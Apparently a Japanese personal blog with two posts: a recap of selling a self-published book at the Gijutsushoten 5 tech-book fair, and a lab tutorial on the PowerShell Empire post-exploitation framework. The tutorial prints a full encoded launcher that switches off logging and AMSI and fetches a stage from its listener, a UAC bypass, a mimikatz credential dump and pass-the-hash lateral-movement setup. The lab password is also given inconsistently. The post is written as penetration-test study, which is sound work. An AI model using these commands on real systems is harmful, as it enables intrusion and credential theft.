技術書典5参加してきたよ Alice's Atelier け25

はじめに

技術書典に初めてサークル参加した記録です。 備忘録かつ技術書典に出展したいなぁと考えてる人の助けになればと思い、申込から本番まで書いていこうかなと思います。 覚えてたことをざーっと書くので文章の乱れは見逃してください。

参加申し込み

6月25日

とりあえず、会社の身内なりに技術書典5に出さない~?みたいなこと言ったらそこそこ好反響だったので申し込みを決める。

まずはサークル名とサークルカットを考えることにした。

7月1日くらい

サークル名は情報界隈でよくあるAliceとBobの通信関連の話からAliceという言葉を使おう、あとはいろんな人が集まるからラボとか団とかなんやらつければいいかなってところで、その時点でとてもはまっていたリディーとスールのアトリエから「アトリエ」にしよと思い立ち決定

サークル名:「Alice's Atelier」

www.gamecity.ne.jp

じゃあサークルカットは女の子やなということで書き始め

7月12日

あんまり覚えてないけど1週間前くらいに絵も完成したことだしとりあえず申し込み~って思って申し込んだ

f:id:kataware8136:20181009211659p:plain

あとは神のみぞ知る~という感じ

8月1日

当落発表日、サークル数増加してるけど仕事終わりに酒飲んでたらサークル発表来るでしょと思ってがーでんに向かう

matsuri-kf-garden.jp

お酒飲んだり、射的したりしながら待ってたが19~21時で当落発表は来ず.....

運営様お疲れ様ですと思い、帰路に

そろそろ寝るかなとか思ってたら10時頃に当落発表 、即入金しました

執筆

執筆メンバー募集、執筆環境まで(8/9くらい)

最悪一人サークルも考えて、呼びかけ(一人は完全にあてにしてた)

好評だったが執筆者は全然集まらなかった、一回きりで終わりたくなかったので手伝いさん(絵描き要因+レビュアー)含め募集した。

執筆者2名と編集2名という構成になった、集まったのでslackを立ち上げた。

まずは締め切りを決めるということで8/9時点で9/16あたりを一時締め切りとしましょうという感じにした。

執筆環境はre:viewがよさそうということで採用!

github.com

サークル配置決定(8/17)

運営から連絡がきて「け25」になった。

表紙のことを相談したらメンバーの一人が描いてくださることになったので、後輩に頼らなくてよくなって一安心

ここあたりから執筆を始める。

一般用の告知を始める(9/10)

遅かったがここあたりでそろそろ一般向けの情報として目次を作ろうということになり、目次を作成して先に公開、

ここであげた目次と大幅に変わった私、執筆してたら乗りに乗ってきてどんどん増えた。

本のタイトルを決める(9/24)

本のタイトルをAlice' Atelier1でいっかと置いておいたら、カッコ悪いと指摘を受ける。

オペラで第一幕をFirst Actとするので Alice's Atelier -First Act-に決定する

入稿関連+準備(9月の間)

直接搬入してもらえる、日光企画かねこのしっぽに入稿しようと考える。

部数をそんなにする気がなかったのでねこのしっぽに決定。日光企画は最低50部からだった。

まぁ40部売れればよいっしょとか思ってた。

編集さんに進捗管理してもらいつつ、執筆を進める。

なんか早めに出来上がって10%割引で入稿できそうだったのでデジタル入稿しようとする。

デジタル入稿のつまづき

コミュ障なのでデジタル入稿しようと思っていたが、紙の種類?表紙の紙の種類?オンデマンドとオフセットの違い?? みたいな感じで???しか浮かばなかったので直接店舗へ

直接入稿:9/28

直接入稿しにいってわからないこと全部教えてもらった。丁寧な人でとてもありがたかった。

しかしpdfをa4で作ってたりしたので再入稿という形に、

まぁ1日でできそうな修正だったので、喫茶店によって活動してた。

サークルメンバーに教えてもらったおしゃれなカフェでコーヒーをたしなみつつ活動

www.nappa69.com

当日中にa5サイズに修正しておしまい。

再入稿はグーグルドライブなりドロップボックスなりpdfを渡せればよいという感じだったのでその通りに対応。

準備(10/6,7)

  • 前日に500円玉の両替をすることを忘れる。
  • 趣味用名刺を作り忘れる。
  • 電子版用意してない。

などがばがばだったが500円玉は10枚くらい創出。名刺はスルー。電子版は適当に対処してダウンロードカード作成して対処とかそんな感じでなんとかした。

チェックリストが入稿時24だったのが直前には42とかなってて、40部しか作ってない!!電子版じゃとなって焦ってた。

意外と伸びるんですね.......

前日には100均Seriaで1000円くらい使って、テーブルクロス、イーゼル、簡易カード、マスキングテープ、スケッチブック、滑り止め等を購入する。

本番

にどぅーねの魔力にあらがえず寝坊する。

f:id:kataware8136:20181009215905j:plain

9時には起きたので、サークル準備期間内では入れそうなので安心する。

電車で確認したらチェックリスト50超えてた

サークル準備(10:20)

私が到着したが、もう一人のサークルメンバーが到着している。

隣がハニポで有名な@morihi_socさんだったことに来てから気づく。あれぇ、私サークルチェックリストに入れてたのに何で気づかない???

morihi-soc (@morihi_soc) | Twitter

IoTSecJPの話最高でした。みたいなことをお伝えしつつ準備

頒布開始(11時)

まぁのんびりやろうなと思ってたら、いきなり購入者が現れる。感激

お隣がmorihi_socさんなのもあって私のとこも人気に見える!!!!

実際ちょっと面白そうって感じで手に取ってもらって買っていただける人もいてうれしかったです。

私のところは12時半で完売しました。

その後もちょくちょくダウンロードカード購入してもらいました。正直本がなかったから人が来なかったのか、それとももうめぼしい人は来てしまったのかがいまいちわかんない。もっと魅力的な本作りたいな。

戦利品

複数メンバーいたので交代してもらって私自身も買うことができました。

f:id:kataware8136:20181009220212j:plain

写真以外にもC++でOS本やDIY本、セキュア旅団の本を買いました。とってもお得なイベントそれが技術書典

反省

  • 紙の本があれば買ってくれそうな人がいた。

余ってもいいから部数刷っていい感じはあります。なんだかんだ委託もできるってこともでかいですね。

  • QRコード決済対応しとけばよかった
  • 見本誌1冊だったので、ipadとかでも読めるようにしとくとよかった。
  • 早めに執筆しような(当落見る前に執筆始めたほうが心にゆとりがあるし宣伝に力をいれられる)

良かった点

  • 大学時代の友人に会えた!!!!!
  • 人にわかるように考えて書くっていうのはいい勉強になる
  • 楽しい分野の本いっぱい買えてとってもお得!!技術書典神!!(パトロンはきつかったので技術季報購入で許して.....)

今後に向けて

今回編集だったメンバーも書きたいって言ってくれてるのでボリュームアップしたものをかけそうで次が楽しみです。 私はリゼ先輩と学ぶペネトレーションテストってネタか世界のセキュリティ規格みたいな話で書くと思います。 次も当選できるといいなって感じで今回は締め

PowerShell Empireを使う

はじめに

PowerShell Empireというペネトレーション用のツールがあります。今回はそれを使ってみましたという記事内容です。

当然ですが、自分のローカル環境以外で試してはいけません。試すときもインターネットから切り離して行うようにするとよいでしょう。またこれを公開されているサーバに実行した際に発生したすべての物事、事象に対してブログ主は一切の責任を負いません。

今回の目的ですが、ドメイン環境下のPCで別のPCに移動してみようと思います。これにはinvoke_smbexecを利用します。

環境構築

Windows Server 2012 R2の用意

以下の一連のコマンドをたたいて環境構築する。Active Directoryを入れると再起動する点だけ注意。

# Active Directoryの機能追加
Get-WindowsFeature AD-Domain-Services | Install-WindowsFeature
Import-Module ADDSDeployment
# Domain Controller構築
mkdir C:\NTDS
mkdir C:\SYSVOL

Install-ADDSForest `
-CreateDnsDelegation:$false `
-DatabasePath "C:\NTDS" `
-DomainMode "Win2012R2" `
-DomainName "pentest.local" `
-DomainNetbiosName "PENTEST" `
-ForestMode "Win2012R2" `
-InstallDns:$true `
-LogPath "C:\NTDS" `
-NoRebootOnCompletion:$false `
-SysvolPath "C:\SYSVOL" `
-Force:$true
# 再起動が入ります
# ユーザ作成
$password = ConvertTo-SecureString -AsplainText "Vict1m3" -Force
New-ADUser -Name user -DisplayName user -ChangePasswordAtLogon $false -CannotChangePassword $true -Enabled $true -AccountPassword $password
# Domain Adminsに追加
Add-ADGroupMember -Identity "Domain Admins" -Member user

これでDomain Adminsのuserを作成したActive Directory環境を作成できました。次にWin7ドメイン参加します。

Win7の用意

ドメイン参加

コントロールパネルから「システムとセキュリティ」→「システム」に移動します。するとドメインおよびワークグループの変更という部分があるのでここで変更を行います。ドメイン名は「PENTEST」と入力するとユーザ名とパスワードを求められるのでWin2012を用意した際に作成したユーザ名「user」、パスワード「Emp1r3」を入力してドメイン参加します。ここで失敗する場合はuserがDomain Adminsグループに参加していない可能性があります。

ドメインのユーザにローカルコンピュータの管理者権限を与える

Windowsキー」+「R」でプログラム名を指定して実行から「lusrmgr.msc」を実行します。ここでグループのAdministratorsグループにドメインユーザである「user」を追加します。

Kali Linuxの用意

Empireのインストール

以下のコマンドを実行してEmpireをインストールします

# apt-get upgrade
# git clone https://github.com/EmpireProject/Empire.git
# cd Empire/setup
# ./install.sh

Empireを利用する

Win7でRATを実行し、Empireで待ち受ける

Empireを利用する環境が整ったので利用していきます。

# cd ../
# ./empire
================================================================
 [Empire]  Post-Exploitation Framework
================================================================
 [Version] 2.5 | [Web] https://github.com/empireProject/Empire
================================================================

   _______ .___  ___. .______    __  .______       _______
  |   ____||   \/   | |   _  \  |  | |   _  \     |   ____|
  |  |__   |  \  /  | |  |_)  | |  | |  |_)  |    |  |__
  |   __|  |  |\/|  | |   ___/  |  | |      /     |   __|
  |  |____ |  |  |  | |  |      |  | |  |\  \----.|  |____
  |_______||__|  |__| | _|      |__| | _| `._____||_______|


       285 modules currently loaded

       0 listeners currently active

       0 agents currently active

Empireを起動するとこのような画面が出ると思います。ここからWin7でRATを動かしてそれをこのEmpireで待ち受けます

Empireで待ち受けるlistenerを作成し、起動。その後Empireで待ち受けるようのRATプログラムを作成します。

(Empire) > listeners
[!] No listeners currently active 
(Empire: listeners) > uselistener http
(Empire: listeners/http) > execute
[*] Starting listener 'http'
 * Serving Flask app "http" (lazy loading)
 * Environment: production
   WARNING: Do not use the development server in a production environment.
   Use a production WSGI server instead.
 * Debug mode: off
[+] Listener successfully started!

ここまでの一連のコマンドで待ち受けるlistenerが作成され、待ち受ける準備が整います。次にRATプログラムを作成します。

(Empire: listeners/http) > launcher powershell
powershell -noP -sta -w 1 -enc  SQBGACgAJABQAFMAVgBlAFIAcwBJAE8AbgBUAEEAYgBsAEUALgBQAFMAVgBlAHIAUwBpAE8AbgAuAE0AYQBKAG8AUgAgAC0ARwBlACAAMwApAHsAJABHAFAARgA9AFsAUgBlAGYAXQAuAEEAcwBTAEUAbQBiAGwAeQAuAEcARQB0AFQAeQBwAGUAKAAnAFMAeQBzAHQAZQBtAC4ATQBhAG4AYQBnAGUAbQBlAG4AdAAuAEEAdQB0AG8AbQBhAHQAaQBvAG4ALgBVAHQAaQBsAHMAJwApAC4AIgBHAEUAdABGAGkARQBgAEwARAAiACgAJwBjAGEAYwBoAGUAZABHAHIAbwB1AHAAUABvAGwAaQBjAHkAUwBlAHQAdABpAG4AZwBzACcALAAnAE4AJwArACcAbwBuAFAAdQBiAGwAaQBjACwAUwB0AGEAdABpAGMAJwApADsASQBGACgAJABHAFAARgApAHsAJABHAFAAQwA9ACQARwBQAEYALgBHAEUAVABWAGEATAB1AEUAKAAkAG4AdQBsAEwAKQA7AEkARgAoACQARwBQAEMAWwAnAFMAYwByAGkAcAB0AEIAJwArACcAbABvAGMAawBMAG8AZwBnAGkAbgBnACcAXQApAHsAJABHAFAAQwBbACcAUwBjAHIAaQBwAHQAQgAnACsAJwBsAG8AYwBrAEwAbwBnAGcAaQBuAGcAJwBdAFsAJwBFAG4AYQBiAGwAZQBTAGMAcgBpAHAAdABCACcAKwAnAGwAbwBjAGsATABvAGcAZwBpAG4AZwAnAF0APQAwADsAJABHAFAAQwBbACcAUwBjAHIAaQBwAHQAQgAnACsAJwBsAG8AYwBrAEwAbwBnAGcAaQBuAGcAJwBdAFsAJwBFAG4AYQBiAGwAZQBTAGMAcgBpAHAAdABCAGwAbwBjAGsASQBuAHYAbwBjAGEAdABpAG8AbgBMAG8AZwBnAGkAbgBnACcAXQA9ADAAfQAkAHYAYQBsAD0AWwBDAE8ATABsAEUAQwB0AEkAbwBuAFMALgBHAEUATgBFAHIASQBjAC4ARABJAGMAVABJAE8AbgBBAHIAeQBbAHMAdAByAEkAbgBnACwAUwB5AFMAdABFAG0ALgBPAEIASgBlAEMAdABdAF0AOgA6AG4AZQBXACgAKQA7ACQAdgBhAEwALgBBAEQAZAAoACcARQBuAGEAYgBsAGUAUwBjAHIAaQBwAHQAQgAnACsAJwBsAG8AYwBrAEwAbwBnAGcAaQBuAGcAJwAsADAAKQA7ACQAVgBhAEwALgBBAEQARAAoACcARQBuAGEAYgBsAGUAUwBjAHIAaQBwAHQAQgBsAG8AYwBrAEkAbgB2AG8AYwBhAHQAaQBvAG4ATABvAGcAZwBpAG4AZwAnACwAMAApADsAJABHAFAAQwBbACcASABLAEUAWQBfAEwATwBDAEEATABfAE0AQQBDAEgASQBOAEUAXABTAG8AZgB0AHcAYQByAGUAXABQAG8AbABpAGMAaQBlAHMAXABNAGkAYwByAG8AcwBvAGYAdABcAFcAaQBuAGQAbwB3AHMAXABQAG8AdwBlAHIAUwBoAGUAbABsAFwAUwBjAHIAaQBwAHQAQgAnACsAJwBsAG8AYwBrAEwAbwBnAGcAaQBuAGcAJwBdAD0AJAB2AGEAbAB9AEUATABzAEUAewBbAFMAYwByAGkAcABUAEIATABvAEMASwBdAC4AIgBHAGUAdABGAEkAZQBgAEwARAAiACgAJwBzAGkAZwBuAGEAdAB1AHIAZQBzACcALAAnAE4AJwArACcAbwBuAFAAdQBiAGwAaQBjACwAUwB0AGEAdABpAGMAJwApAC4AUwBFAFQAVgBBAEwAVQBlACgAJABOAFUAbABMACwAKABOAGUAVwAtAE8AQgBqAGUAQwBUACAAQwBPAEwAbABlAEMAdABJAE8ATgBTAC4ARwBFAE4ARQBSAGkAYwAuAEgAQQBzAEgAUwBlAHQAWwBzAHQAcgBpAE4AZwBdACkAKQB9AFsAUgBlAGYAXQAuAEEAcwBzAGUATQBiAGwAeQAuAEcARQBUAFQAeQBwAGUAKAAnAFMAeQBzAHQAZQBtAC4ATQBhAG4AYQBnAGUAbQBlAG4AdAAuAEEAdQB0AG8AbQBhAHQAaQBvAG4ALgBBAG0AcwBpAFUAdABpAGwAcwAnACkAfAA/AHsAJABfAH0AfAAlAHsAJABfAC4ARwBlAFQARgBpAEUAbABEACgAJwBhAG0AcwBpAEkAbgBpAHQARgBhAGkAbABlAGQAJwAsACcATgBvAG4AUAB1AGIAbABpAGMALABTAHQAYQB0AGkAYwAnACkALgBTAEUAVABWAEEAbABVAEUAKAAkAE4AVQBsAGwALAAkAHQAcgB1AEUAKQB9ADsAfQA7AFsAUwBZAFMAdABlAE0ALgBOAEUAdAAuAFMARQBSAFYAaQBDAEUAUABPAEkAbgB0AE0AYQBuAGEAZwBFAHIAXQA6ADoARQBYAFAAZQBjAFQAMQAwADAAQwBPAG4AdABpAE4AdQBFAD0AMAA7ACQAdwBjAD0ATgBFAHcALQBPAEIASgBlAEMAVAAgAFMAWQBTAHQAZQBtAC4ATgBlAFQALgBXAEUAYgBDAGwAaQBlAE4AdAA7ACQAdQA9ACcATQBvAHoAaQBsAGwAYQAvADUALgAwACAAKABXAGkAbgBkAG8AdwBzACAATgBUACAANgAuADEAOwAgAFcATwBXADYANAA7ACAAVAByAGkAZABlAG4AdAAvADcALgAwADsAIAByAHYAOgAxADEALgAwACkAIABsAGkAawBlACAARwBlAGMAawBvACcAOwAkAFcAYwAuAEgAZQBBAGQARQBSAHMALgBBAGQAZAAoACcAVQBzAGUAcgAtAEEAZwBlAG4AdAAnACwAJAB1ACkAOwAkAFcAYwAuAFAAUgBvAHgAeQA9AFsAUwBZAFMAVABFAG0ALgBOAEUAVAAuAFcAZQBiAFIAZQBRAHUARQBTAHQAXQA6ADoARABlAGYAYQB1AGwAVABXAGUAYgBQAFIATwBYAHkAOwAkAHcAQwAuAFAAcgBPAHgAeQAuAEMAUgBlAGQAZQBuAFQAaQBBAEwAUwAgAD0AIABbAFMAWQBTAHQARQBtAC4ATgBFAFQALgBDAFIAZQBkAGUATgBUAGkAYQBsAEMAYQBjAEgAZQBdADoAOgBEAEUARgBhAFUAbAB0AE4AZQB0AFcAbwByAEsAQwBSAEUARABlAE4AVABJAEEATABzADsAJABTAGMAcgBpAHAAdAA6AFAAcgBvAHgAeQAgAD0AIAAkAHcAYwAuAFAAcgBvAHgAeQA7ACQASwA9AFsAUwB5AFMAVABlAG0ALgBUAEUAeABUAC4ARQBOAGMAbwBEAEkATgBHAF0AOgA6AEEAUwBDAEkASQAuAEcAZQB0AEIAWQB0AGUAUwAoACcAMABkADMAOAA0AGYANAAyAGMAYwA5ADUAZgA4ADIAYwBjADQAMgA1AGEAMwAwADAAOAAzADEAYwAwADIAMQAwACcAKQA7ACQAUgA9AHsAJABEACwAJABLAD0AJABBAHIAZwBTADsAJABTAD0AMAAuAC4AMgA1ADUAOwAwAC4ALgAyADUANQB8ACUAewAkAEoAPQAoACQASgArACQAUwBbACQAXwBdACsAJABLAFsAJABfACUAJABLAC4AQwBPAHUATgB0AF0AKQAlADIANQA2ADsAJABTAFsAJABfAF0ALAAkAFMAWwAkAEoAXQA9ACQAUwBbACQASgBdACwAJABTAFsAJABfAF0AfQA7ACQARAB8ACUAewAkAEkAPQAoACQASQArADEAKQAlADIANQA2ADsAJABIAD0AKAAkAEgAKwAkAFMAWwAkAEkAXQApACUAMgA1ADYAOwAkAFMAWwAkAEkAXQAsACQAUwBbACQASABdAD0AJABTAFsAJABIAF0ALAAkAFMAWwAkAEkAXQA7ACQAXwAtAEIAeABvAHIAJABTAFsAKAAkAFMAWwAkAEkAXQArACQAUwBbACQASABdACkAJQAyADUANgBdAH0AfQA7ACQAcwBlAHIAPQAnAGgAdAB0AHAAOgAvAC8AMQA5ADIALgAxADYAOAAuADEAMgAuADMAOgA4ADAAJwA7ACQAdAA9ACcALwBuAGUAdwBzAC4AcABoAHAAJwA7ACQAVwBDAC4ASABlAEEARABFAHIAUwAuAEEARABEACgAIgBDAG8AbwBrAGkAZQAiACwAIgBzAGUAcwBzAGkAbwBuAD0AMgBYAEQAbgB5AHQAKwBaAEsATgAzAEgAcABnAEwAYgBVAHoAMABxAGEAaABsAFQAVwBtAFkAPQAiACkAOwAkAGQAYQB0AGEAPQAkAFcAQwAuAEQAbwB3AG4AbABPAGEAZABEAGEAVABBACgAJABzAEUAUgArACQAdAApADsAJABJAHYAPQAkAEQAQQB0AEEAWwAwAC4ALgAzAF0AOwAkAEQAYQBUAGEAPQAkAGQAQQB0AEEAWwA0AC4ALgAkAGQAYQB0AEEALgBMAEUAbgBHAHQASABdADsALQBKAG8AaQBOAFsAQwBoAGEAcgBbAF0AXQAoACYAIAAkAFIAIAAkAEQAYQBUAGEAIAAoACQASQBWACsAJABLACkAKQB8AEkARQBYAA==
(Empire: listeners/http) >

powershellの文字からの一連のスクリプトがRATとなります。これをコピーしWin7Powershellで実行します。ちなみにlauncher pythonとするとpython用のプログラムが出力されます。

Win7で実行した後、少し待つとKali Linuxの方で下のような出力がされているはずです。されていない場合はネットワーク周りの設定を見直してください。(pingが届くかとか) ここでagentが確立されます。このagentsを用いるとコマンドの実行等ができますが、それは今回の主題ではないのでパスします。

[*] Sending POWERSHELL stager (stage 1) to 192.168.12.10
[*] New agent HLV5ZS3G checked in
[+] Initial agent HLV5ZS3G from 192.168.12.10 now active (Slack)
[*] Sending agent (stage 2) to HLV5ZS3G at 192.168.12.10

(Empire: listeners/http) > agents

[*] Active agents:

 Name     La Internal IP     Machine Name      Username                Process            PID    Delay    Last Seen
 ----     -- -----------     ------------      --------                -------            ---    -----    ---------
 HLV5ZS3G ps 192.168.12.10   VICTIM            PENTEST\user            powershell         1644   5/0.0    2018-08-17 15:00:09

(Empire: agents) > interact HLV5ZS3G

interact ***とすることで確立した通信に対して割り込むことが可能となります(この認識で正しいのか不明)

パスワードハッシュを入手する(bypassuacを利用した権限昇格)

ここからinvoke_smbexecを利用するためにパスワードハッシュを入手します。それにはmimikatzというツールを利用するのですが、mimikatzというツールを利用するためには管理者権限が必要となるので、まずは権限を昇格します。

権限を昇格するためにはprivesc/bypassuacというモジュールを利用します。

(Empire: HLV5ZS3G) > usemodule privesc/bypassuac
(Empire: powershell/privesc/bypassuac) > info

              Name: Invoke-BypassUAC
            Module: powershell/privesc/bypassuac
        NeedsAdmin: False
         OpsecSafe: False
          Language: powershell
MinLanguageVersion: 2
        Background: True
   OutputExtension: None

Authors:
  Leo Davidson
  @meatballs__
  @TheColonial
  @mattifestation
  @harmyj0y
  @sixdub

Description:
  Runs a BypassUAC attack to escape from a medium integrity
  process to a high integrity process. This attack was
  originally discovered by Leo Davidson. Empire uses
  components of MSF's bypassuac injection implementation as
  well as an adapted version of PowerSploit's Invoke--
  Shellcode.ps1 script for backend lifting.

Comments:
  https://github.com/mattifestation/PowerSploit/blob/master/Co
  deExecution/Invoke--Shellcode.ps1 https://github.com/rapid7
  /metasploit-framework/blob/master/modules/exploits/windows/l
  ocal/bypassuac_injection.rb https://github.com/rapid7
  /metasploit-framework/tree/master/external/source/exploits/b
  ypassuac_injection/dll/src http://www.pretentiousname.com/

Options:

  Name       Required    Value                     Description
  ----       --------    -------                   -----------
  Listener   True                                  Listener to use.                        
  UserAgent  False       default                   User-agent string to use for the staging
                                                   request (default, none, or other).      
  Proxy      False       default                   Proxy to use for request (default, none,
                                                   or other).                              
  Agent      True        HLV5ZS3G                  Agent to run module on.                 
  ProxyCreds False       default                   Proxy credentials                       
                                                   ([domain\]username:password) to use for 
                                                   request (default, none, or other).      

(Empire: powershell/privesc/bypassuac) > set Listener http
(Empire: powershell/privesc/bypassuac) > execute
[>] Module is not opsec safe, run? [y/N] y
[*] Tasked HLV5ZS3G to run TASK_CMD_JOB
[*] Agent HLV5ZS3G tasked with task ID 1
[*] Tasked agent HLV5ZS3G to run module powershell/privesc/bypassuac
(Empire: powershell/privesc/bypassuac) > [*] Agent HLV5ZS3G returned results.
Job started: 2Y7F9M
[*] Valid results returned by 192.168.12.10
[*] Sending POWERSHELL stager (stage 1) to 192.168.12.10
[*] New agent 85VHTSNY checked in
[+] Initial agent 85VHTSNY from 192.168.12.10 now active (Slack)
[*] Sending agent (stage 2) to 85VHTSNY at 192.168.12.10

moduleの使い方ですが、usemodule <モジュール名>と打つことでモジュールを利用するモードに移行します。

ここでinfoと打つことでモジュールに必要な情報を得ることができます。Trueと表示されているものはモジュールを実行するのに必須なオプション、Falseは埋めなくても実行可能です。実行可能ですが成功するかどうかはわかりません。Trueと表示されているものは実行しようとしても埋まっていないということで実行できません。

bypassuacListenerTrueとなっているので、設定する必要があります。今回はhttpというListener名としているのでset Listener httpと設定してexecuteをすることで実行します。

実行した結果新たな接続が確立されます。

パスワードハッシュを入手する(mimikatzを使う)

前回で権限昇格した接続が確立されたのでmimikatzを使っていきます。

(Empire: powershell/privesc/bypassuac) > interact 85VHTSNY
(Empire: 85VHTSNY) > usemodule credentials/mimikatz/logonpasswords*
(Empire: powershell/credentials/mimikatz/logonpasswords) > execute
[*] Tasked 85VHTSNY to run TASK_CMD_JOB
[*] Agent 85VHTSNY tasked with task ID 1
[*] Tasked agent 85VHTSNY to run module powershell/credentials/mimikatz/logonpasswords
(Empire: powershell/credentials/mimikatz/logonpasswords) > [*] Agent 85VHTSNY returned results.
Job started: SKHF3V
[*] Valid results returned by 192.168.12.10
[*] Agent 85VHTSNY returned results.
Hostname: victim.pentest.local / S-1-5-21-2313106677-264397757-2816267570

  .#####.   mimikatz 2.1.1 (x86) built on Nov 12 2017 15:43:57
 .## ^ ##.  "A La Vie, A L'Amour" - (oe.eo)
 ## / \ ##  /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
 ## \ / ##       > http://blog.gentilkiwi.com/mimikatz
 '## v ##'       Vincent LE TOUX             ( vincent.letoux@gmail.com )
  '#####'        > http://pingcastle.com / http://mysmartlogon.com   ***/

mimikatz(powershell) # sekurlsa::logonpasswords

Authentication Id : 0 ; 93788 (00000000:00016e5c)
Session           : Interactive from 1
User Name         : user
Domain            : PENTEST
Logon Server      : WIN-LIL2GIC6EFI
Logon Time        : 8/17/2018 2:48:52 PM
SID               : S-1-5-21-2313106677-264397757-2816267570-1108
    msv :   
     [00000003] Primary
     * Username : user
     * Domain   : PENTEST
     * LM       : 411918ffe7ef1d9baad3b435b51404ee
     * NTLM     : e82a5afbaa5f49c9a9e375430f3cdf05
     * SHA1     : f82e5b1300b72f836990b9e8f150eb2e05e07bdf
    tspkg : 
     * Username : user
     * Domain   : PENTEST
     * Password : Vict1m3
    wdigest :   
     * Username : user
     * Domain   : PENTEST
     * Password : Vict1m3
    kerberos :  
     * Username : user
     * Domain   : PENTEST.LOCAL
     * Password : Vict1m3
    ssp :   
    credman :   

Authentication Id : 0 ; 93757 (00000000:00016e3d)
Session           : Interactive from 1
User Name         : user
Domain            : PENTEST
Logon Server      : WIN-LIL2GIC6EFI
Logon Time        : 8/17/2018 2:48:52 PM
SID               : S-1-5-21-2313106677-264397757-2816267570-1108
    msv :   
     [00000003] Primary
     * Username : user
     * Domain   : PENTEST
     * LM       : 411918ffe7ef1d9baad3b435b51404ee
     * NTLM     : e82a5afbaa5f49c9a9e375430f3cdf05
     * SHA1     : f82e5b1300b72f836990b9e8f150eb2e05e07bdf
    tspkg : 
     * Username : user
     * Domain   : PENTEST
     * Password : Vict1m3
    wdigest :   
     * Username : user
     * Domain   : PENTEST
     * Password : Vict1m3
    kerberos :  
     * Username : user
     * Domain   : PENTEST.LOCAL
     * Password : Vict1m3
    ssp :   
    credman :   

Authentication Id : 0 ; 997 (00000000:000003e5)
Session           : Service from 0
User Name         : LOCAL SERVICE
Domain            : NT AUTHORITY
Logon Server      : (null)
Logon Time        : 8/17/2018 2:47:44 PM
SID               : S-1-5-19
    msv :   
    tspkg : 
    wdigest :   
     * Username : (null)
     * Domain   : (null)
     * Password : (null)
    kerberos :  
     * Username : (null)
     * Domain   : (null)
     * Password : (null)
    ssp :   
    credman :   

Authentication Id : 0 ; 996 (00000000:000003e4)
Session           : Service from 0
User Name         : VICTIM$
Domain            : PENTEST
Logon Server      : (null)
Logon Time        : 8/17/2018 2:47:44 PM
SID               : S-1-5-20
    msv :   
     [00000003] Primary
     * Username : VICTIM$
     * Domain   : PENTEST
     * NTLM     : 60b2fb46b19173f585d481c181b61d70
     * SHA1     : 6eaa278ae25f3386b4d84f4a484044995c4429ca
    tspkg : 
    wdigest :   
     * Username : VICTIM$
     * Domain   : PENTEST
     * Password : & K6`7&$P-xm@sBull#T**!lEq<? )y@[D=SC.u,?QbligUK6;d4uyEI I*nz;_;AXr^71gD&^]P3sU8Y6q(4[='^)Ax'#qU;p.'t$?k4_hb!oX)nCo:@#],
    kerberos :  
     * Username : victim$
     * Domain   : PENTEST.LOCAL
     * Password : & K6`7&$P-xm@sBull#T**!lEq<? )y@[D=SC.u,?QbligUK6;d4uyEI I*nz;_;AXr^71gD&^]P3sU8Y6q(4[='^)Ax'#qU;p.'t$?k4_hb!oX)nCo:@#],
    ssp :   
    credman :   

Authentication Id : 0 ; 21590 (00000000:00005456)
Session           : UndefinedLogonType from 0
User Name         : (null)
Domain            : (null)
Logon Server      : (null)
Logon Time        : 8/17/2018 2:47:43 PM
SID               : 
    msv :   
     [00000003] Primary
     * Username : VICTIM$
     * Domain   : PENTEST
     * NTLM     : 60b2fb46b19173f585d481c181b61d70
     * SHA1     : 6eaa278ae25f3386b4d84f4a484044995c4429ca
    tspkg : 
    wdigest :   
    kerberos :  
    ssp :   
    credman :   

Authentication Id : 0 ; 999 (00000000:000003e7)
Session           : UndefinedLogonType from 0
User Name         : VICTIM$
Domain            : PENTEST
Logon Server      : (null)
Logon Time        : 8/17/2018 2:47:42 PM
SID               : S-1-5-18
    msv :   
    tspkg : 
    wdigest :   
     * Username : VICTIM$
     * Domain   : PENTEST
     * Password : & K6`7&$P-xm@sBull#T**!lEq<? )y@[D=SC.u,?QbligUK6;d4uyEI I*nz;_;AXr^71gD&^]P3sU8Y6q(4[='^)Ax'#qU;p.'t$?k4_hb!oX)nCo:@#],
    kerberos :  
     * Username : victim$
     * Domain   : PENTEST.LOCAL
     * Password : & K6`7&$P-xm@sBull#T**!lEq<? )y@[D=SC.u,?QbligUK6;d4uyEI I*nz;_;AXr^71gD&^]P3sU8Y6q(4[='^)Ax'#qU;p.'t$?k4_hb!oX)nCo:@#],
    ssp :   
    credman :   

mimikatz(powershell) # exit
Bye!


[*] Valid results returned by 192.168.12.10

(Empire: powershell/credentials/mimikatz/logonpasswords) > creds

Credentials:

  CredID  CredType   Domain                   UserName         Host             Password
  ------  --------   ------                   --------         ----             --------
  1       hash       pentest.local            user             victim           e82a5afbaa5f49c9a9e375430f3cdf05
  2       hash       pentest.local            VICTIM$          victim           60b2fb46b19173f585d481c181b61d70
  3       plaintext  pentest.local            user             victim           Vict1m3

(Empire: powershell/credentials/mimikatz/logonpasswords) > back

使い方はbypassuacの時と一緒です。実行するといろいろ出力されます。この情報はcredsと打つことで見ることができます。

結果はこのようにパスワードハッシュとパスワードの平文を手に入れてます。今度はこのパスワードハッシュを利用してドメイン上にある別のPCに移る(感染)しにいきます。

invoke_smbexecする

別のPCに移るために今回はinvoke_smbexecコマンドを利用します。

(Empire: 85VHTSNY) > usemodule lateral_movement/invoke_smbexec
(Empire: powershell/lateral_movement/invoke_smbexec) > info

              Name: Invoke-SMBExec
            Module: powershell/lateral_movement/invoke_smbexec
        NeedsAdmin: False
         OpsecSafe: True
          Language: powershell
MinLanguageVersion: 2
        Background: False
   OutputExtension: None

Authors:
  @rvrsh3ll

Description:
  Executes a stager on remote hosts using SMBExec.ps1

Comments:
  https://raw.githubusercontent.com/Kevin-Robertson/Invoke-
  TheHash/master/Invoke-SMBExec.ps1

Options:

  Name         Required    Value                     Description
  ----         --------    -------                   -----------
  CredID       False                                 CredID from the store to use.           
  ComputerName True                                  Host[s] to execute the stager on, comma 
                                                     separated.                              
  Service      False                                 Name of service to create and delete.   
                                                     Defaults to 20 char random.             
  ProxyCreds   False       default                   Proxy credentials                       
                                                     ([domain\]username:password) to use for 
                                                     request (default, none, or other).      
  Username     True                                  Username.                               
  Domain       False                                 Domain.                                 
  Hash         True                                  NTLM Hash in LM:NTLM or NTLM format.    
  Agent        True        85VHTSNY                  Agent to run module on.                 
  Listener     True                                  Listener to use.                        
  Proxy        False       default                   Proxy to use for request (default, none,
                                                     or other).                              
  UserAgent    False       default                   User-agent string to use for the staging
                                                     request (default, none, or other).      

